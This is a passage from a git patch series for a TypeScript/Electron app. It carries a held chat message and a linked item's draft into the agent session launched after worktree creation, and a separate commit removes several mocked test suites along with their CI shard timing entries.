await launch.launchResult + + expect(composerDraft(launch.sessionId)).toBe('and add a test') + expect(readNativeChatComposerDraft('pending-chat').text).toBe('') + }) }) diff --git a/src/renderer/src/lib/structured-agent-session-launch-draft.ts b/src/renderer/src/lib/structured-agent-session-launch-draft.ts index dc693633374..a6280dc8cdb 100644 --- a/src/renderer/src/lib/structured-agent-session-launch-draft.ts +++ b/src/renderer/src/lib/structured-agent-session-launch-draft.ts @@ -1,10 +1,12 @@ import { structuredAgentSessionTabId } from '../../../shared/structured-agent-session-projection' import { findStructuredLaunchTab } from './structured-agent-session-launch-surface' import { + deleteNativeChatComposerDraft, readNativeChatComposerDraft, structuredAgentSessionDraftScopeKey, updateNativeChatComposerDraft } from '@/components/native-chat/native-chat-composer-draft-store' +import type { NativeChatComposerDraftChange } from '@/components/native-chat/native-chat-composer-draft-store' import { promptTextContent } from '@/components/native-chat/native-chat-prompt-document-text' import type { StructuredAgentLaunchOptions } from './structured-agent-session-launch-callers' import type { StructuredLaunchState } from './agent-session/launch/structured-agent-session-launch-registry' @@ -13,19 +15,41 @@ export function seedStructuredAgentLaunchDraft( state: StructuredLaunchState, options: StructuredAgentLaunchOptions ): void { + if (options.draftFromScope) { + const source = readNativeChatComposerDraft(options.draftFromScope) + const { text, document, pastedTextFiles, images } = source + const moved = + (text !== '' || images.length > 0) && + seedEmptyLaunchDraft(state, { + text, + images, + ...(document ? { document } : {}), + ...(pastedTextFiles ? { pastedTextFiles } : {}) + }) + // An occupied chat draft keeps the source, so the text is never dropped. + if (moved || (text === '' && images.length === 0)) { + deleteNativeChatComposerDraft(options.draftFromScope) + } + } if (options.promptDelivery !== 'draft' || !options.prompt) { return } + seedEmptyLaunchDraft(state, { text: options.prompt, document: promptTextContent(options.prompt) }) +} + +function seedEmptyLaunchDraft( + state: StructuredLaunchState, + change: NativeChatComposerDraftChange +): boolean { const { sessionId, worktreeId, executionHostId } = state.intent const scopeKey = structuredAgentSessionDraftScopeKey(sessionId) const current = readNativeChatComposerDraft(scopeKey) if (current.text !== '' || current.document) { - return + return false } - const document = promptTextContent(options.prompt) updateNativeChatComposerDraft( scopeKey, - { text: options.prompt, document, owner: { workspaceId: worktreeId, executionHostId } }, + { ...change, owner: { workspaceId: worktreeId, executionHostId } }, 'immediate', undefined, { @@ -34,4 +58,5 @@ export function seedStructuredAgentLaunchDraft( pending: true } ) + return true } diff --git a/src/renderer/src/lib/worktree-creation-flow.ts b/src/renderer/src/lib/worktree-creation-flow.ts index d838f207a81..040d24c6c11 100644 --- a/src/renderer/src/lib/worktree-creation-flow.ts +++ b/src/renderer/src/lib/worktree-creation-flow.ts @@ -2,9 +2,12 @@ import { toast } from 'sonner' import { useAppStore } from '@/store' import { findPendingLinkedWorkItemCreationId, + pendingCreationChatDraftScopeKey, type WorktreeCreationPhase, type WorktreeCreationRequest } from '@/lib/pending-worktree-creation' +import { updateNativeChatComposerDraft } from '@/components/native-chat/native-chat-composer-draft-store' +import { promptTextContent } from '@/components/native-chat/native-chat-prompt-document-text' import { createBrowserUuid } from '@/lib/browser-uuid' import { executeWorktreeCreation } from '@/lib/worktree-creation-flow-execute' import { @@ -37,6 +40,28 @@ function startWorktreeCreation(creationId: string, request: WorktreeCreationRequ }) } +// The chat composer shows before the worktree exists, so a linked item's draft starts there. +function seedPendingChatDraft( + creationId: string, + request: WorktreeCreationRequest, + prior?: WorktreeCreationRequest +): void { + const draft = request.launchDraftPrompt + if ( + !draft || + draft === prior?.launchDraftPrompt || + request.promptDelivery !== 'draft' || + request.agentLaunchRoute !== 'structured-native-chat' + ) { + return + } + updateNativeChatComposerDraft( + pendingCreationChatDraftScopeKey(creationId), + { text: draft, document: promptTextContent(draft) }, + 'immediate' + ) +} + function revealPendingCreation( creationId: string, request: WorktreeCreationRequest, @@ -54,6 +79,7 @@ function revealPendingCreation( loaderVisible: true, request }) + seedPendingChatDraft(creationId, request) // Creation UI renders only in terminal view; activate it before publishing the panel. store.setActiveView('terminal') store.setSidebarOpen(true) @@ -93,9 +119,11 @@ export function continueBackgroundWorktreeCreation( options: ContinueBackgroundWorktreeCreationOptions = {} ): boolean { const store = useAppStore.getState() - if (!store.pendingWorktreeCreations[creationId]) { + const staged = store.pendingWorktreeCreations[creationId] + if (!staged) { return false } + seedPendingChatDraft(creationId, request, staged.request) // Remote creates emit no phases; use captured submit-owner progress mode so Retry cannot change with focused runtime. store.updatePendingWorktreeCreation(creationId, { phase: getInitialWorktreeCreationPhase(request), diff --git a/src/renderer/src/lib/worktree-creation-structured-session-host-decline.test.ts b/src/renderer/src/lib/worktree-creation-structured-session-host-decline.test.ts index b14e42caae9..8de275af20a 100644 --- a/src/renderer/src/lib/worktree-creation-structured-session-host-decline.test.ts +++ b/src/renderer/src/lib/worktree-creation-structured-session-host-decline.test.ts @@ -216,4 +216,38 @@ describe('a background worktree create whose own machine declines the chat', () ).toEqual([]) expect(state.activeWorktreeId).toBe(LOCAL_OTHER.id) }) + + it('leaves a message sent before the worktree existed unsent in the agent terminal', async () => { + mocks.createSupport.mockResolvedValue({ supported: false, reason: 'wsl' }) + seedThisMachine() + useAppStore.setState({ + pendingWorktreeCreations: { + // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: the launch reads only the held message and route. + 'creation-1': { heldChatMessage: 'add a test', phase: 'creating' } as never + } + }) + // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: the launch reads only these request fields. + const request = { + ...REQUEST, + agentLaunchRoute: 'structured-native-chat', + quickPrompt: '', + startupPlan: { launchCommand: 'claude', launchConfig: { agent: 'claude' } } + } as unknown as WorktreeCreationRequest + + await launchStructuredWorktreeSession({ + creationId: 'creation-1', + request, + agentLaunchRoute: 'structured-native-chat', + worktreeId: LOCAL_CREATED.id, + shouldActivateOnCompletion: false, + activation: false, + primaryTabId: null + }) + + await vi.waitFor(() => + expect(useAppStore.getState().tabsByWorktree[LOCAL_CREATED.id]).toHaveLength(1) + ) + const tab = useAppStore.getState().tabsByWorktree[LOCAL_CREATED.id]![0]! + expect(JSON.stringify(startupOf(tab.id))).toContain('add a test') + }) }) diff --git a/src/renderer/src/lib/worktree-creation-structured-session.test.ts b/src/renderer/src/lib/worktree-creation-structured-session.test.ts index ddea390f87f..accf26a888e 100644 --- a/src/renderer/src/lib/worktree-creation-structured-session.test.ts +++ b/src/renderer/src/lib/worktree-creation-structured-session.test.ts @@ -5,6 +5,7 @@ type PendingCreationListener = (state: PendingCreationState) => void type BeginArgs = { beforeOpen?: (sessionId: string) => boolean | void hooks?: { signal?: AbortSignal } + plan?: { prompt?: string; promptDelivery?: string; draftFromScope?: string } } const mocks = vi.hoisted(() => { let listener: PendingCreationListener | null = null @@ -133,4 +134,35 @@ describe('launchStructuredWorktreeSession', () => { expect(mocks.unsubscribe).toHaveBeenCalled() consoleError.mockRestore() }) + + it('sends what the user wrote while the worktree was created as the first message', async () => { + mocks.state.pendingWorktreeCreations = { + 'creation-1': { phase: 'creating', heldChatMessage: 'Add a test', request } + } + + await launchStructuredWorktreeSession(baseArgs) + + expect(mocks.beginStructuredAgentSessionProvisionalLaunch.mock.calls[0][0].plan).toMatchObject({ + prompt: 'Add a test', + promptDelivery: 'auto-submit', + draftFromScope: 'pending-worktree-creation:creation-1' + }) + }) + + it('leaves a linked item draft to the pending composer draft the launch moves over', async () => { + const linked = { + ...request, + quickPrompt: '', + launchDraftPrompt: 'Issue #12', + promptDelivery: 'draft' as const + } + mocks.state.pendingWorktreeCreations = { 'creation-1': { phase: 'creating', request: linked } } + + await launchStructuredWorktreeSession({ ...baseArgs, request: linked }) + + expect(mocks.beginStructuredAgentSessionProvisionalLaunch.mock.calls[0][0].plan).toMatchObject({ + prompt: '', + draftFromScope: 'pending-worktree-creation:creation-1' + }) + }) }) diff --git a/src/renderer/src/lib/worktree-creation-structured-session.ts b/src/renderer/src/lib/worktree-creation-structured-session.ts index 93a0f6b9b8a..a77bab9d4ad 100644 --- a/src/renderer/src/lib/worktree-creation-structured-session.ts +++ b/src/renderer/src/lib/worktree-creation-structured-session.ts @@ -2,7 +2,11 @@ import { useAppStore } from '@/store' import { activateAndRevealWorktree, type ActivateAndRevealResult } from '@/lib/worktree-activation' import { adoptAgentSessionLaunchVerdict } from '@/lib/agent-session-launch-plan' import type { AgentLaunchRoute } from '@/lib/agent-launch-routing' -import type { WorktreeCreationRequest } from '@/lib/pending-worktree-creation' +import { + pendingCreationChatDraftScopeKey, + withPendingChatInput, + type WorktreeCreationRequest +} from '@/lib/pending-worktree-creation' import { beginStructuredAgentSessionProvisionalLaunch } from '@/lib/agent-session/structured-agent-session-provisional-tab' import type { StructuredLaunchTerminal } from '@/lib/structured-agent-session-launch-admission' import { buildWorktreeCreationStartupOpt } from '@/lib/worktree-creation-flow-startup' @@ -32,9 +36,15 @@ type LaunchStructuredWorktreeSessionArgs = { /** Host-declined chats keep background creates in place without navigation (#23974); still-visible creates use normal agent-tab fallback. */ function openBackgroundDeclinedTerminal( args: LaunchStructuredWorktreeSessionArgs, - host: RuntimeClientTarget + host: RuntimeClientTarget, + heldChatMessage: string | undefined ): StructuredLaunchTerminal { - const startup = buildWorktreeCreationStartupOpt(args.request, false) + const built = buildWorktreeCreationStartupOpt(args.request, false) + // The submit-time plan never saw a message sent while the worktree was created; leave it unsent in the agent's input. + const startup = + built && heldChatMessage && !built.draftPrompt + ? { ...built, draftPrompt: heldChatMessage } + : built if (host.kind === 'environment') { ensureWebRuntimeWorktreeTerminalAfterWake(args.worktreeId, { startup, @@ -75,14 +85,19 @@ export async function launchStructuredWorktreeSession( if (isCancelled()) { return { ...settled, cancelled: true, activation, primaryTabId } } + // Read at launch, not submit: the user may have written or sent in the chat while git worked. + const pending = useAppStore.getState().pendingWorktreeCreations[args.creationId] + const request = withPendingChatInput(pending, args.request) // Reuse composer-fixed route/delivery through retries; later host changes must not re-resolve this create. const plan = adoptAgentSessionLaunchVerdict({ route: args.agentLaunchRoute, // One create is one user action: a retry of it re-delivers the same request. requestId: args.creationId, agent, - prompt: args.request.launchDraftPrompt ?? args.request.quickPrompt, - ...(args.request.promptDelivery ? { promptDelivery: args.request.promptDelivery } : {}) + prompt: request.launchDraftPrompt ?? request.quickPrompt, + ...(request.promptDelivery ? { promptDelivery: request.promptDelivery } : {}), + // What the user left unsent in the chat shown while the worktree was created. + draftFromScope: pendingCreationChatDraftScopeKey(args.creationId) }) const abandoned = new AbortController() let ownershipTransferred = false @@ -99,7 +114,10 @@ export async function launchStructuredWorktreeSession( activate: args.shouldActivateOnCompletion, ...(args.shouldActivateOnCompletion ? {} - : { onHostDeclined: (host) => openBackgroundDeclinedTerminal(args, host) }), + : { + onHostDeclined: (host) => + openBackgroundDeclinedTerminal(args, host, pending?.heldChatMessage) + }), beforeOpen: () => { // Launch cancellation can beat pending-store updates during async reveal; check the signal too. if (abandoned.signal.aborted || isCancelled()) { diff --git a/src/renderer/src/store/slices/worktree-helpers.ts b/src/renderer/src/store/slices/worktree-helpers.ts index ffe7b826823..1d98e027cc9 100644 --- a/src/renderer/src/store/slices/worktree-helpers.ts +++ b/src/renderer/src/store/slices/worktree-helpers.ts @@ -197,6 +197,7 @@ export type WorktreeSlice = { provisioningLog?: string checkoutProgress?: PendingWorktreeCreation['checkoutProgress'] worktreeId?: string + heldChatMessage?: string } ) => void /** Drop pending/active creation; VM cleanup applies to cancellation/dismissal, never successful handoff. */ diff --git a/src/renderer/src/store/slices/worktrees/create/pending-worktree-creation.ts b/src/renderer/src/store/slices/worktrees/create/pending-worktree-creation.ts index 4c5616d0a1a..76aee77e679 100644 --- a/src/renderer/src/store/slices/worktrees/create/pending-worktree-creation.ts +++ b/src/renderer/src/store/slices/worktrees/create/pending-worktree-creation.ts @@ -3,19 +3,35 @@ import type { WorktreeSliceGet, WorktreeSliceSet } from '../listing/worktree-sli import type { AppState } from '../../../types' import { cleanupFailedEphemeralVmWorkspace } from '@/lib/ephemeral-vm-failed-create-cleanup' import { endWindowCreation } from '@/lib/sidebar-ended-creations' +import type { PendingWorktreeCreation } from '@/lib/pending-worktree-creation' export function createBeginPendingWorktreeCreation( set: WorktreeSliceSet, _get: WorktreeSliceGet ): WorktreeSlice['beginPendingWorktreeCreation'] { return (entry) => { + const logged = { ...entry, phaseLog: [{ phase: entry.phase, at: entry.startedAt }] } set((s) => ({ - pendingWorktreeCreations: { ...s.pendingWorktreeCreations, [entry.creationId]: entry }, + pendingWorktreeCreations: { ...s.pendingWorktreeCreations, [entry.creationId]: logged }, activePendingCreationId: entry.creationId })) } } +// A new startedAt is a fresh attempt (continue/retry); a phase change within one attempt is a new step. +function nextPhaseLog( + entry: PendingWorktreeCreation, + patch: Partial +): PendingWorktreeCreation['phaseLog'] { + if (patch.startedAt !== undefined && patch.startedAt !== entry.startedAt) { + return [{ phase: patch.phase ?? entry.phase, at: patch.startedAt }] + } + if (patch.phase !== undefined && patch.phase !== entry.phase) { + return [...(entry.phaseLog ?? []), { phase: patch.phase, at: Date.now() }] + } + return entry.phaseLog +} + export function createUpdatePendingWorktreeCreation( set: WorktreeSliceSet, _get: WorktreeSliceGet @@ -36,7 +52,7 @@ export function createUpdatePendingWorktreeCreation( return { pendingWorktreeCreations: { ...s.pendingWorktreeCreations, - [creationId]: { ...entry, ...patch } + [creationId]: { ...entry, ...patch, phaseLog: nextPhaseLog(entry, patch) } } } }) From 20cd8131e434e8f4e0340362507362bd944ac3da Mon Sep 17 00:00:00 2001 From: OrcaWin Date: Fri, 30 Oct 2026 22:14:41 -0700 Subject: [PATCH 04/47] test: remove low-value mocked forwarding suites (#36592) --- config/scripts/ci-shard-timings.json | 13 -- src/main/emulator/serve-sim-execution.test.ts | 121 ----------------- src/main/gitea/pull-request-creation.test.ts | 120 ----------------- src/main/github/client-pr-state.test.ts | 120 ----------------- .../rpc/methods/workspace-ports.test.ts | 119 ---------------- .../runtime-folder-worktree-create.test.ts | 125 ----------------- ...-process-observers-hang-breadcrumb.test.ts | 125 ----------------- ...eateMainWindow-system-resume-relay.test.ts | 127 ------------------ .../use-contextual-tour.test.ts | 120 ----------------- .../preview-terminal-links.test.ts | 35 ----- ...e-native-chat-file-link-existence.test.tsx | 122 ----------------- ...red-agent-session.cut-turn-notice.test.tsx | 117 ---------------- .../use-checks-panel-manual-refresh.test.tsx | 125 ----------------- .../sidebar/ForgetSshWorkspaceDialog.test.tsx | 121 ----------------- ...IpcEvents-silent-terminal-adoption.test.ts | 124 ----------------- 15 files changed, 1634 deletions(-) delete mode 100644 src/main/emulator/serve-sim-execution.test.ts delete mode 100644 src/main/gitea/pull-request-creation.test.ts delete mode 100644 src/main/github/client-pr-state.test.ts delete mode 100644 src/main/runtime/rpc/methods/workspace-ports.test.ts delete mode 100644 src/main/runtime/runtime-folder-worktree-create.test.ts delete mode 100644 src/main/startup/main-process-observers-hang-breadcrumb.test.ts delete mode 100644 src/main/window/createMainWindow-system-resume-relay.test.ts delete mode 100644 src/renderer/src/components/contextual-tours/use-contextual-tour.test.ts delete mode 100644 src/renderer/src/components/dashboard-popout/preview-terminal-links.test.ts delete mode 100644 src/renderer/src/components/native-chat/use-native-chat-file-link-existence.test.tsx delete mode 100644 src/renderer/src/components/native-chat/use-structured-agent-session.cut-turn-notice.test.tsx delete mode 100644 src/renderer/src/components/right-sidebar/checks-panel/use-checks-panel-manual-refresh.test.tsx delete mode 100644 src/renderer/src/components/sidebar/ForgetSshWorkspaceDialog.test.tsx delete mode 100644 src/renderer/src/hooks/useIpcEvents-silent-terminal-adoption.test.ts diff --git a/config/scripts/ci-shard-timings.json b/config/scripts/ci-shard-timings.json index 7b8317e5c2e..1e131ad987f 100644 --- a/config/scripts/ci-shard-timings.json +++ b/config/scripts/ci-shard-timings.json @@ -2321,7 +2321,6 @@ "src/main/emulator/scrcpy-video-registry.test.ts": 57, "src/main/emulator/serve-sim-accessibility-tree.test.ts": 62, "src/main/emulator/serve-sim-ax-normalization.test.ts": 35, - "src/main/emulator/serve-sim-execution.test.ts": 64, "src/main/emulator/serve-sim-helper-processes.test.ts": 59, "src/main/emulator/serve-sim-kill-contract.test.ts": 1307, "src/main/emulator/serve-sim-runtime-materializer.test.ts": 106, @@ -2561,7 +2560,6 @@ "src/main/git/wsl-windows-checkout-sample-script.test.ts": 107, "src/main/gitea/client-scan-invalidation.test.ts": 485, "src/main/gitea/client.test.ts": 385, - "src/main/gitea/pull-request-creation.test.ts": 293, "src/main/gitea/repository-ref.test.ts": 436, "src/main/github/account-binding-required-host.test.ts": 220, "src/main/github/auth-diagnose.test.ts": 58, @@ -2582,7 +2580,6 @@ "src/main/github/client-pr-local-runtime.test.ts": 432, "src/main/github/client-pr-lookup-coalescing.test.ts": 627, "src/main/github/client-pr-push-target.test.ts": 449, - "src/main/github/client-pr-state.test.ts": 533, "src/main/github/client-rate-limit-block.test.ts": 393, "src/main/github/client-ssh-provider-execution-boundary.test.ts": 534, "src/main/github/client-stack-merge-guard.test.ts": 422, @@ -5428,7 +5425,6 @@ "src/main/runtime/rpc/methods/workspace-layout-apply.test.ts": 5567, "src/main/runtime/rpc/methods/workspace-layout-paired-desktop.test.ts": 41277, "src/main/runtime/rpc/methods/workspace-layout.test.ts": 1673, - "src/main/runtime/rpc/methods/workspace-ports.test.ts": 648, "src/main/runtime/rpc/methods/worktree-catalog-snapshot-method.test.ts": 1270, "src/main/runtime/rpc/methods/worktree-create-args.test.ts": 193, "src/main/runtime/rpc/methods/worktree-create-navigation.test.ts": 1474, @@ -5560,7 +5556,6 @@ "src/main/runtime/runtime-file-upload-decode.test.ts": 255, "src/main/runtime/runtime-folder-workspace-delete-lifecycle.test.ts": 3681, "src/main/runtime/runtime-folder-workspace.test.ts": 71, - "src/main/runtime/runtime-folder-worktree-create.test.ts": 107, "src/main/runtime/runtime-git-conflict-operation-routing.test.ts": 507, "src/main/runtime/runtime-git-execution-host-ownership.test.ts": 702, "src/main/runtime/runtime-git-generation-admission.test.ts": 560, @@ -6332,7 +6327,6 @@ "src/main/startup/login-shell-environment-cache.test.ts": 111, "src/main/startup/login-shell-environment.test.ts": 80, "src/main/startup/main-process-error-guards.test.ts": 73, - "src/main/startup/main-process-observers-hang-breadcrumb.test.ts": 158, "src/main/startup/main-process-quit-pending-writer.test.ts": 426, "src/main/startup/main-process-quit-update-veto.test.ts": 486, "src/main/startup/main-process-ready-activation-failure.test.ts": 117, @@ -6518,7 +6512,6 @@ "src/main/window/createMainWindow-renderer-crash-recovery.test.ts": 1486, "src/main/window/createMainWindow-renderer-launch-failure.test.ts": 2008, "src/main/window/createMainWindow-startup-reveal.test.ts": 1416, - "src/main/window/createMainWindow-system-resume-relay.test.ts": 2222, "src/main/window/createMainWindow-terminal-focus-shortcuts.test.ts": 1546, "src/main/window/createMainWindow-tray-minimize-close.test.ts": 1482, "src/main/window/createMainWindow-user-quit-close.test.ts": 1489, @@ -7100,7 +7093,6 @@ "src/renderer/src/components/contextual-tours/contextual-tour-overlay-measurement.test.ts": 258, "src/renderer/src/components/contextual-tours/contextual-tour-step-actions.test.ts": 55, "src/renderer/src/components/contextual-tours/request-contextual-tour-when-ready.test.ts": 1380, - "src/renderer/src/components/contextual-tours/use-contextual-tour.test.ts": 1525, "src/renderer/src/components/contextual-tours/workspace-creation-tour-handoff.test.ts": 1390, "src/renderer/src/components/crash-report/crash-report-submit-notice.test.ts": 124, "src/renderer/src/components/crash-report/use-crash-report-copy.test.tsx": 358, @@ -7925,7 +7917,6 @@ "src/renderer/src/components/native-chat/use-native-chat-draft.test.tsx": 395, "src/renderer/src/components/native-chat/use-native-chat-external-attachments.test.tsx": 671, "src/renderer/src/components/native-chat/use-native-chat-file-link-click.test.tsx": 941, - "src/renderer/src/components/native-chat/use-native-chat-file-link-existence.test.tsx": 907, "src/renderer/src/components/native-chat/use-native-chat-find.test.tsx": 1160, "src/renderer/src/components/native-chat/use-native-chat-font-size.test.tsx": 680, "src/renderer/src/components/native-chat/use-native-chat-hook-status.test.ts": 1672, @@ -7995,7 +7986,6 @@ "src/renderer/src/components/native-chat/use-structured-agent-session-transport-state.working.test.tsx": 395, "src/renderer/src/components/native-chat/use-structured-agent-session-write-refusal.test.tsx": 2087, "src/renderer/src/components/native-chat/use-structured-agent-session.clear-send.test.tsx": 2827, - "src/renderer/src/components/native-chat/use-structured-agent-session.cut-turn-notice.test.tsx": 1855, "src/renderer/src/components/native-chat/use-structured-agent-session.queue-while-stopping.test.tsx": 2337, "src/renderer/src/components/native-chat/use-structured-agent-session.queued-gating.test.tsx": 2062, "src/renderer/src/components/native-chat/use-structured-agent-session.rejected-card.test.tsx": 2333, @@ -8178,7 +8168,6 @@ "src/renderer/src/components/right-sidebar/checks-panel/use-checks-panel-foreground-effects.test.tsx": 228, "src/renderer/src/components/right-sidebar/checks-panel/use-checks-panel-generation.test.tsx": 1570, "src/renderer/src/components/right-sidebar/checks-panel/use-checks-panel-git-status-effects.test.tsx": 160, - "src/renderer/src/components/right-sidebar/checks-panel/use-checks-panel-manual-refresh.test.tsx": 1589, "src/renderer/src/components/right-sidebar/checks-panel/use-checks-panel-polling-stability.test.tsx": 1574, "src/renderer/src/components/right-sidebar/checks-panel/use-checks-panel-polling.test.tsx": 1222, "src/renderer/src/components/right-sidebar/coalesced-poll-runner.test.ts": 38, @@ -8574,7 +8563,6 @@ "src/renderer/src/components/sidebar/DeleteWorktreeDialog.unsaved-edits.test.tsx": 1079, "src/renderer/src/components/sidebar/DeleteWorktreeDialogFooter.test.tsx": 523, "src/renderer/src/components/sidebar/DeleteWorktreeTargetPreview.test.tsx": 608, - "src/renderer/src/components/sidebar/ForgetSshWorkspaceDialog.test.tsx": 1539, "src/renderer/src/components/sidebar/ImportedWorktreesVisibilityLine.test.tsx": 1451, "src/renderer/src/components/sidebar/LinearAgentSkillSetupPrompt.reminder-toast.test.tsx": 1545, "src/renderer/src/components/sidebar/LinearAgentSkillSetupPrompt.test.tsx": 2010, @@ -9970,7 +9958,6 @@ "src/renderer/src/hooks/useIpcEvents-repos-changed-catalogs.test.ts": 2758, "src/renderer/src/hooks/useIpcEvents-runtime-environment-selectors.test.ts": 502, "src/renderer/src/hooks/useIpcEvents-session-tab-close-request.test.ts": 1385, - "src/renderer/src/hooks/useIpcEvents-silent-terminal-adoption.test.ts": 1395, "src/renderer/src/hooks/useIpcEvents-ssh-disconnect-cleanup.test.ts": 1178, "src/renderer/src/hooks/useIpcEvents-terminal-create-surfacing.test.ts": 998, "src/renderer/src/hooks/useIpcEvents-updater-status.test.ts": 1219, diff --git a/src/main/emulator/serve-sim-execution.test.ts b/src/main/emulator/serve-sim-execution.test.ts deleted file mode 100644 index 6d3e3b9fd22..00000000000 --- a/src/main/emulator/serve-sim-execution.test.ts +++ /dev/null @@ -1,121 +0,0 @@ -import { mkdir, mkdtemp, rm, writeFile } from 'node:fs/promises' -import { tmpdir } from 'node:os' -import { join } from 'node:path' -import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest' - -const appEnvironmentMocks = vi.hoisted(() => ({ - getAppPath: vi.fn(), - getPath: vi.fn(), - getVersion: vi.fn() -})) -const materializerMocks = vi.hoisted(() => ({ - materializeServeSimRuntime: vi.fn() -})) - -vi.mock('../../shared/app-environment', () => ({ - getAppEnvironment: () => appEnvironmentMocks -})) -vi.mock('./serve-sim-runtime-materializer', () => materializerMocks) - -import { resolveServeSimExecutable } from './serve-sim-execution' - -const originalPlatform = Object.getOwnPropertyDescriptor(process, 'platform') -const originalResourcesPath = Object.getOwnPropertyDescriptor(process, 'resourcesPath') -const cleanupPaths: string[] = [] - -function setProcessProperty(name: 'platform' | 'resourcesPath', value: string): void { - Object.defineProperty(process, name, { configurable: true, value }) -} - -function restoreProcessProperty( - name: 'platform' | 'resourcesPath', - descriptor?: PropertyDescriptor -) { - if (descriptor) { - Object.defineProperty(process, name, descriptor) - } else { - Reflect.deleteProperty(process, name) - } -} - -async function createServeSimPackage(packageDir: string): Promise { - const entry = join(packageDir, 'dist', 'serve-sim.js') - await mkdir(join(packageDir, 'dist'), { recursive: true }) - await writeFile(entry, 'console.log("serve-sim")') - return entry -} - -beforeEach(async () => { - const root = await mkdtemp(join(tmpdir(), 'orca-serve-sim-execution-')) - cleanupPaths.push(root) - setProcessProperty('platform', 'linux') - setProcessProperty('resourcesPath', join(root, 'resources')) - appEnvironmentMocks.getAppPath.mockReset().mockReturnValue(join(root, 'app')) - appEnvironmentMocks.getPath.mockReset().mockReturnValue(join(root, 'user-data')) - appEnvironmentMocks.getVersion.mockReset().mockReturnValue('test-version') - materializerMocks.materializeServeSimRuntime.mockReset() -}) - -afterEach(async () => { - restoreProcessProperty('platform', originalPlatform) - restoreProcessProperty('resourcesPath', originalResourcesPath) - await Promise.all( - cleanupPaths.splice(0).map((path) => rm(path, { recursive: true, force: true })) - ) -}) - -describe('resolveServeSimExecutable', () => { - it('preserves the legacy Resources/serve-sim path as the first packaged choice', async () => { - const resourcesPath = process.resourcesPath - const legacyEntry = await createServeSimPackage(join(resourcesPath, 'serve-sim')) - await createServeSimPackage(join(resourcesPath, 'node_modules', 'serve-sim')) - - expect(resolveServeSimExecutable()).toEqual({ - command: process.execPath, - baseArgs: [legacyEntry], - usesElectronAsNode: true - }) - expect(appEnvironmentMocks.getAppPath).not.toHaveBeenCalled() - }) - - it('uses the deduplicated Resources/node_modules/serve-sim package', async () => { - const packagedEntry = await createServeSimPackage( - join(process.resourcesPath, 'node_modules', 'serve-sim') - ) - - expect(resolveServeSimExecutable()).toEqual({ - command: process.execPath, - baseArgs: [packagedEntry], - usesElectronAsNode: true - }) - expect(appEnvironmentMocks.getAppPath).not.toHaveBeenCalled() - }) - - it('materializes either packaged resource location on macOS', async () => { - setProcessProperty('platform', 'darwin') - const packagedPackageDir = join(process.resourcesPath, 'node_modules', 'serve-sim') - await createServeSimPackage(packagedPackageDir) - const materializedPackageDir = join(process.resourcesPath, 'materialized-serve-sim') - materializerMocks.materializeServeSimRuntime.mockReturnValue(materializedPackageDir) - - expect(resolveServeSimExecutable()).toEqual({ - command: process.execPath, - baseArgs: [join(materializedPackageDir, 'dist', 'serve-sim.js')], - usesElectronAsNode: true - }) - expect(materializerMocks.materializeServeSimRuntime).toHaveBeenCalledWith( - expect.objectContaining({ bundledPackageDir: packagedPackageDir }) - ) - }) - - it('preserves the app node_modules development fallback', async () => { - const appPackageDir = join(appEnvironmentMocks.getAppPath(), 'node_modules', 'serve-sim') - const appEntry = await createServeSimPackage(appPackageDir) - - expect(resolveServeSimExecutable()).toEqual({ - command: process.execPath, - baseArgs: [appEntry], - usesElectronAsNode: true - }) - }) -}) diff --git a/src/main/gitea/pull-request-creation.test.ts b/src/main/gitea/pull-request-creation.test.ts deleted file mode 100644 index 7f3dea7ffdb..00000000000 --- a/src/main/gitea/pull-request-creation.test.ts +++ /dev/null @@ -1,120 +0,0 @@ -import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest' -import { createGiteaPullRequest, isGiteaReviewCreationAuthenticated } from './pull-request-creation' -import { _resetGiteaRepoRefCache } from './repository-ref' - -const { gitExecFileAsyncMock } = vi.hoisted(() => ({ - gitExecFileAsyncMock: vi.fn() -})) - -vi.mock('../git/runner', () => ({ - gitExecFileAsync: gitExecFileAsyncMock -})) - -vi.mock('../source-control/pull-request-template', () => ({ - readHostedPullRequestTemplate: vi.fn(async () => 'Template body') -})) - -const OLD_ENV = process.env -const OLD_FETCH = globalThis.fetch - -describe('Gitea pull request creation', () => { - beforeEach(() => { - process.env = { ...OLD_ENV, ORCA_GITEA_TOKEN: 'gitea-token' } - gitExecFileAsyncMock.mockReset() - gitExecFileAsyncMock.mockResolvedValue({ - stdout: 'https://git.example.com/code/team/repo.git\n', - stderr: '' - }) - _resetGiteaRepoRefCache() - }) - - afterEach(() => { - process.env = OLD_ENV - globalThis.fetch = OLD_FETCH - _resetGiteaRepoRefCache() - }) - - it('requires a token for repo-scoped creation', () => { - expect(isGiteaReviewCreationAuthenticated()).toBe(true) - delete process.env.ORCA_GITEA_TOKEN - expect(isGiteaReviewCreationAuthenticated()).toBe(false) - }) - - it('posts a pull request create body to the repository REST endpoint', async () => { - const fetchMock = vi.fn(async (input: string | URL | Request, init?: RequestInit) => { - const url = new URL(String(input)) - expect(url.origin).toBe('https://git.example.com') - expect(url.pathname).toBe('/code/api/v1/repos/team/repo/pulls') - expect(init).toBeDefined() - const requestInit = init! - expect(requestInit.method).toBe('POST') - expect((requestInit.headers as Record).Authorization).toBe( - 'token gitea-token' - ) - expect(JSON.parse(String(requestInit.body))).toEqual({ - base: 'main', - head: 'feature/gitea', - title: 'Add Gitea create', - body: 'Body', - draft: true - }) - return Response.json({ - number: 13, - title: 'Add Gitea create', - state: 'open', - draft: true, - html_url: 'https://git.example.com/code/team/repo/pulls/13', - updated_at: '2026-06-01T00:00:00Z', - mergeable: true, - head: { - ref: 'feature/gitea', - sha: 'abc123' - } - }) - }) - globalThis.fetch = fetchMock as never - - await expect( - createGiteaPullRequest( - '/repo', - { - provider: 'gitea', - base: 'origin/main', - head: 'refs/heads/feature/gitea', - title: 'Add Gitea create', - body: 'Body', - draft: true - }, - 'local' - ) - ).resolves.toEqual({ - ok: true, - number: 13, - url: 'https://git.example.com/code/team/repo/pulls/13' - }) - expect(fetchMock).toHaveBeenCalledOnce() - }) - - it('classifies validation failures from the REST API', async () => { - globalThis.fetch = vi.fn(async () => - Response.json({ message: 'Validation failed' }, { status: 422 }) - ) as never - - await expect( - createGiteaPullRequest( - '/repo', - { - provider: 'gitea', - base: 'main', - head: 'feature/gitea', - title: 'Add Gitea create' - }, - 'local' - ) - ).resolves.toMatchObject({ - ok: false, - code: 'validation', - reason: 'rejected' - }) - }) -}) diff --git 